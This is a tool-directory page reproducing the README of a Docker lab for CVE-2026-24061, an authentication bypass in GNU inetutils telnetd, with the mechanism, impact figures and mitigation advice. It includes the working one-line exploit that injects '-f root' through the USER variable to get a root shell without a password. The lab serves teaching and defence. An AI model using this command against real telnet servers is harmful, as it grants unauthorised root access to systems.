Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
telnet-inetutils-auth-bypass-CVE-2026-24061 — This is a simple PoC that allows you to highlight the severity of the ongoing and actively exploited Telnet bug that is going on right now. Why people are still using Telnet... beyond me. | Kitploit
Tools/GitHubGitHub/jakeswiz/telnet-inetutils-auth-bypass-cve-2026-24061
Container SecurityVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjakeswiz/telnet-inetutils-auth-bypass-cve-2026-24061

telnet-inetutils-auth-bypass-CVE-2026-24061

Share

This is a simple PoC that allows you to highlight the severity of the ongoing and actively exploited Telnet bug that is going on right now. Why people are still using Telnet... beyond me.

View Repository
2369 months agoNot yet reviewed

CVE-2026-24061: GNU inetutils-telnetd Authentication Bypass

A Docker lab to demonstrate CVE-2026-24061 — a critical authentication bypass vulnerability in GNU inetutils telnetd that went unpatched for 11 years.

The Vulnerability

Telnetd passes the USER environment variable directly to /usr/bin/login without sanitization. The login binary has a -f flag that skips authentication (intended for pre-authenticated sessions). By setting USER='-f root', an attacker tricks login into granting root access without a password.

Affected versions: GNU inetutils 1.9.3 (March 2015) through 2.7 CVSS Score: 9.8 (Critical) Fix: Update to inetutils 2.8+

Quick Start

# Build the image
docker build -t telnetd-exploit .

# Run the container (drops you into a shell as user1)
docker run --rm -it telnetd-exploit

# Exploit — get root without a password
USER='-f root' telnet -a localhost

You'll land in a root shell. Run whoami to confirm.

How It Works

1. Client connects with: USER='-f root' telnet -a localhost
2. telnetd receives USER environment variable: "-f root"
3. telnetd executes: /usr/bin/login -f root
4. login interprets -f as "skip authentication, user is pre-verified"
5. Attacker gets root shell — no password required

Why -f Exists

The -f flag is legitimate — it's for scenarios where a user is already authenticated (e.g., from a trusted local session). The bug is that telnetd doesn't sanitize the USER variable before passing it to login, allowing remote attackers to inject the flag.

Impact

As of January 2026:

  • ~800,000 Telnet servers exposed globally (Shadowserver)
  • ~290,000 indexed on Shodan
  • Vulnerability actively exploited in the wild (CISA KEV catalog)

Why You Shouldn't Use Telnet

Even without this bug, Telnet transmits everything in plaintext — including passwords. Use SSH instead.

ProtocolEncryptionAuthentication
TelnetNonePlaintext
SSHYesKey/Password

Files

.
├── Dockerfile              # Builds vulnerable Debian container
├── docker-entrypoint.sh    # Starts inetd, drops to user1
└── README.md

Mitigation

  1. Update to GNU inetutils 2.8+
  2. Disable telnetd — block port 23
  3. Use SSH — it's 2026

References

  • CVE-2026-24061
  • Original Advisory
  • CISA KEV Entry

Credits

Lab based on leonjza/inetutils-telnetd-auth-bypass

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    927
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    357
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    289

Explore all tools

Browse our collection of tools

View all tools →